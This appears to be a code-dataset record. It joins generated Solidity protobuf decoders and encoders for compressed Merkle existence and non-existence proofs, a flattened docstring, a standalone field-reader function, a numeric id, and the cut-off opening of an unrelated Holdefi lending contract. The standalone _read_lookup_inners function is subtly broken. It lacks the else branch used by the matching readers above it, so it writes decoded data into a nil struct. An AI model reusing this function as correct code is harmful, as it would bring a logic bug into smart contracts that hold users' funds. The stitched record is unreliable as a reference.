(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_exist(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_nonexist(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_exist(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CompressedExistenceProof.Data memory x, uint256 sz) = _decode_CompressedExistenceProof(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.exist = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_nonexist(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CompressedNonExistenceProof.Data memory x, uint256 sz) = _decode_CompressedNonExistenceProof(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.nonexist = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CompressedExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (CompressedExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CompressedExistenceProof.Data memory r, ) = CompressedExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CompressedNonExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (CompressedNonExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CompressedNonExistenceProof.Data memory r, ) = CompressedNonExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += CompressedExistenceProof._encode_nested(r.exist, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += CompressedNonExistenceProof._encode_nested(r.nonexist, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(CompressedExistenceProof._estimate(r.exist));
e += 1 + ProtoBufRuntime._sz_lendelim(CompressedNonExistenceProof._estimate(r.nonexist));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
CompressedExistenceProof.store(input.exist, output.exist);
CompressedNonExistenceProof.store(input.nonexist, output.nonexist);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CompressedBatchEntry
library CompressedExistenceProof {
//struct definition
struct Data {
bytes key;
bytes value;
LeafOp.Data leaf;
int32[] path;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[5] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_key(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_value(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_leaf(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_path(pointer, bs, nil(), counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
pointer = offset;
r.path = new int32[](counters[4]);
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_key(pointer, bs, nil(), counters);
}
else if (fieldId == 2) {
pointer += _read_value(pointer, bs, nil(), counters);
}
else if (fieldId == 3) {
pointer += _read_leaf(pointer, bs, nil(), counters);
}
else if (fieldId == 4) {
pointer += _read_path(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_key(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.key = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_value(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.value = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_leaf(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(LeafOp.Data memory x, uint256 sz) = _decode_LeafOp(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.leaf = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_path(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int32 x, uint256 sz) = ProtoBufRuntime._decode_int32(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.path[r.path.length - counters[4]] = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_LeafOp(uint256 p, bytes memory bs)
internal
pure
returns (LeafOp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(LeafOp.Data memory r, ) = LeafOp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
uint256 i;
if (r.key.length != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.key, pointer, bs);
}
if (r.value.length != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.value, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += LeafOp._encode_nested(r.leaf, pointer, bs);
if (r.path.length != 0) {
for(i = 0; i < r.path.length; i++) {
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.Varint,
pointer,
bs)
;
pointer += ProtoBufRuntime._encode_int32(r.path[i], pointer, bs);
}
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;uint256 i;
e += 1 + ProtoBufRuntime._sz_lendelim(r.key.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.value.length);
e += 1 + ProtoBufRuntime._sz_lendelim(LeafOp._estimate(r.leaf));
for(i = 0; i < r.path.length; i++) {
e += 1 + ProtoBufRuntime._sz_int32(r.path[i]);
}
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.key.length != 0) {
return false;
}
if (r.value.length != 0) {
return false;
}
if (r.path.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.key = input.key;
output.value = input.value;
LeafOp.store(input.leaf, output.leaf);
output.path = input.path;
}
//array helpers for Path
/**
* @dev Add value to an array
* @param self The in-memory struct
* @param value The value to add
*/
function addPath(Data memory self, int32 value) internal pure {
/**
* First resize the array. Then add the new element to the end.
*/
int32[] memory tmp = new int32[](self.path.length + 1);
for (uint256 i = 0; i < self.path.length; i++) {
tmp[i] = self.path[i];
}
tmp[self.path.length] = value;
self.path = tmp;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CompressedExistenceProof
library CompressedNonExistenceProof {
//struct definition
struct Data {
bytes key;
CompressedExistenceProof.Data left;
CompressedExistenceProof.Data right;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[4] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_key(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_left(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_right(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_key(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.key = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_left(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CompressedExistenceProof.Data memory x, uint256 sz) = _decode_CompressedExistenceProof(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.left = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_right(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CompressedExistenceProof.Data memory x, uint256 sz) = _decode_CompressedExistenceProof(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.right = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CompressedExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (CompressedExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CompressedExistenceProof.Data memory r, ) = CompressedExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.key.length != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.key, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += CompressedExistenceProof._encode_nested(r.left, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += CompressedExistenceProof._encode_nested(r.right, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(r.key.length);
e += 1 + ProtoBufRuntime._sz_lendelim(CompressedExistenceProof._estimate(r.left));
e += 1 + ProtoBufRuntime._sz_lendelim(CompressedExistenceProof._estimate(r.right));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.key.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.key = input.key;
CompressedExistenceProof.store(input.left, output.left);
CompressedExistenceProof.store(input.right, output.right);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CompressedNonExistenceProof
library PROOFS_PROTO_GLOBAL_ENUMS {
//enum definition
// Solidity enum definitions
enum HashOp {
NO_HASH,
SHA256,
SHA512,
KECCAK,
RIPEMD160,
BITCOIN
}
// Solidity enum encoder
function encode_HashOp(HashOp x) internal pure returns (int32) {
if (x == HashOp.NO_HASH) {
return 0;
}
if (x == HashOp.SHA256) {
return 1;
}
if (x == HashOp.SHA512) {
return 2;
}
if (x == HashOp.KECCAK) {
return 3;
}
if (x == HashOp.RIPEMD160) {
return 4;
}
if (x == HashOp.BITCOIN) {
return 5;
}
revert();
}
// Solidity enum decoder
function decode_HashOp(int64 x) internal pure returns (HashOp) {
if (x == 0) {
return HashOp.NO_HASH;
}
if (x == 1) {
return HashOp.SHA256;
}
if (x == 2) {
return HashOp.SHA512;
}
if (x == 3) {
return HashOp.KECCAK;
}
if (x == 4) {
return HashOp.RIPEMD160;
}
if (x == 5) {
return HashOp.BITCOIN;
}
revert();
}
// Solidity enum definitions
enum LengthOp {
NO_PREFIX,
VAR_PROTO,
VAR_RLP,
FIXED32_BIG,
FIXED32_LITTLE,
FIXED64_BIG,
FIXED64_LITTLE,
REQUIRE_32_BYTES,
REQUIRE_64_BYTES
}
// Solidity enum encoder
function encode_LengthOp(LengthOp x) internal pure returns (int32) {
if (x == LengthOp.NO_PREFIX) {
return 0;
}
if (x == LengthOp.VAR_PROTO) {
return 1;
}
if (x == LengthOp.VAR_RLP) {
return 2;
}
if (x == LengthOp.FIXED32_BIG) {
return 3;
}
if (x == LengthOp.FIXED32_LITTLE) {
return 4;
}
if (x == LengthOp.FIXED64_BIG) {
return 5;
}
if (x == LengthOp.FIXED64_LITTLE) {
return 6;
}
if (x == LengthOp.REQUIRE_32_BYTES) {
return 7;
}
if (x == LengthOp.REQUIRE_64_BYTES) {
return 8;
}
revert();
}
// Solidity enum decoder
function decode_LengthOp(int64 x) internal pure returns (LengthOp) {
if (x == 0) {
return LengthOp.NO_PREFIX;
}
if (x == 1) {
return LengthOp.VAR_PROTO;
}
if (x == 2) {
return LengthOp.VAR_RLP;
}
if (x == 3) {
return LengthOp.FIXED32_BIG;
}
if (x == 4) {
return LengthOp.FIXED32_LITTLE;
}
if (x == 5) {
return LengthOp.FIXED64_BIG;
}
if (x == 6) {
return LengthOp.FIXED64_LITTLE;
}
if (x == 7) {
return LengthOp.REQUIRE_32_BYTES;
}
if (x == 8) {
return LengthOp.REQUIRE_64_BYTES;
}
revert();
}
}
//library PROOFS_PROTO_GLOBAL_ENUMS
|
The decoder for reading a field p The offset of bytes array to start decode bs The bytes array to be decoded r The in-memory struct counters The counters for repeated fields return The number of bytes decoded/ if `r` is NULL, then only counting the number of fields./
|
function _read_lookup_inners(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
(InnerOp.Data memory x, uint256 sz) = _decode_InnerOp(p, bs);
if (isNil(r)) {
counters[2] += 1;
r.lookup_inners[r.lookup_inners.length - counters[2]] = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
| 13,050,517
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./SafeMath.sol";
import "./HoldefiPausableOwnable.sol";
import "./HoldefiCollaterals.sol";
/// @notice File: contracts/HoldefiPrices.sol
interface HoldefiPricesInterface {
function getAssetValueFromAmount(address asset, uint256 amount) external view returns(uint256 value);
function getAssetAmountFromValue(address asset, uint256 value) external view returns(uint256 amount);
}
/// @notice File: contracts/HoldefiSettings.sol
interface HoldefiSettingsInterface {
/// @notice Markets Features
struct MarketSettings {
bool isExist;
bool isActive;
uint256 borrowRate;
uint256 borrowRateUpdateTime;
uint256 suppliersShareRate;
uint256 suppliersShareRateUpdateTime;
uint256 promotionRate;
}
/// @notice Collateral Features
struct CollateralSettings {
bool isExist;
bool isActive;
uint256 valueToLoanRate;
uint256 VTLUpdateTime;
uint256 penaltyRate;
uint256 penaltyUpdateTime;
uint256 bonusRate;
}
function getInterests(address market)
external
view
returns (uint256 borrowRate, uint256 supplyRateBase, uint256 promotionRate);
function resetPromotionRate (address market) external;
function getMarketsList() external view returns(address[] memory marketsList);
function marketAssets(address market) external view returns(MarketSettings memory);
function collateralAssets(address collateral) external view returns(CollateralSettings memory);
}
/// @title Main Holdefi contract
/// @author Holdefi Team
/// @dev The address of ETH considered as 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
/// @dev All indexes are scaled by (secondsPerYear * rateDecimals)
/// @dev All values are based ETH price considered 1 and all values decimals considered 30
contract Holdefi is HoldefiPausableOwnable {
using SafeMath for uint256;
/// @notice Markets are assets can be supplied and borrowed
struct Market {
uint256 totalSupply;
uint256 supplyIndex; // Scaled by: secondsPerYear * rateDecimals
uint256 supplyIndexUpdateTime;
uint256 totalBorrow;
uint256 borrowIndex; // Scaled by: secondsPerYear * rateDecimals
uint256 borrowIndexUpdateTime;
uint256 promotionReserveScaled; // Scaled by: secondsPerYear * rateDecimals
uint256 promotionReserveLastUpdateTime;
uint256 promotionDebtScaled; // Scaled by: secondsPerYear * rateDecimals
uint256 promotionDebtLastUpdateTime;
}
/// @notice Collaterals are assets can be used only as collateral for borrowing with no interest
struct Collateral {
uint256 totalCollateral;
uint256 totalLiquidatedCollateral;
}
/// @notice Users profile for each market
struct MarketAccount {
mapping (address => uint) allowance;
uint256 balance;
uint256 accumulatedInterest;
uint256 lastInterestIndex; // Scaled by: secondsPerYear * rateDecimals
}
/// @notice Users profile for each collateral
struct CollateralAccount {
mapping (address => uint) allowance;
uint256 balance;
uint256 lastUpdateTime;
}
struct MarketData {
uint256 balance;
uint256 interest;
uint256 currentIndex;
}
address constant public ethAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @notice All rates in this contract are scaled by rateDecimals
uint256 constant public rateDecimals = 10 ** 4;
uint256 constant public secondsPerYear = 31536000;
/// @dev For round up borrow interests
uint256 constant private oneUnit = 1;
/// @dev Used for calculating liquidation threshold
/// @dev There is 5% gap between value to loan rate and liquidation rate
uint256 constant private fivePercentLiquidationGap = 500;
